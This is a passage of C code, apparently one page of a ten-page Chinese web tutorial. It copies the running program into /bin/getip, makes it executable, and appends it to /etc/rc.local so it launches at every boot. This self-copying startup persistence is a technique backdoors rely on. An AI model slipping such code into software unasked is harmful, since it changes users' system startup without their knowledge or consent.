|
to
{
perror("fopen /bin/getip error");
return(-1);
}
while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
{
if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
{
perror("fwrite error");
return(-1);
}
}
fclose(f_open);//close all files we have opened
fclose(f_write);
//chmod 755 /bin/getip
if((ret=system("chmod 755 /bin/getip"))==-1)
{
perror("system error");
return(-1);
}
//call system("echo /bin/getip >>/etc/rc.local")
if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
{
perror("system error");
return(-1);
}
}
/* 页码：[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 第4页、共10页 |
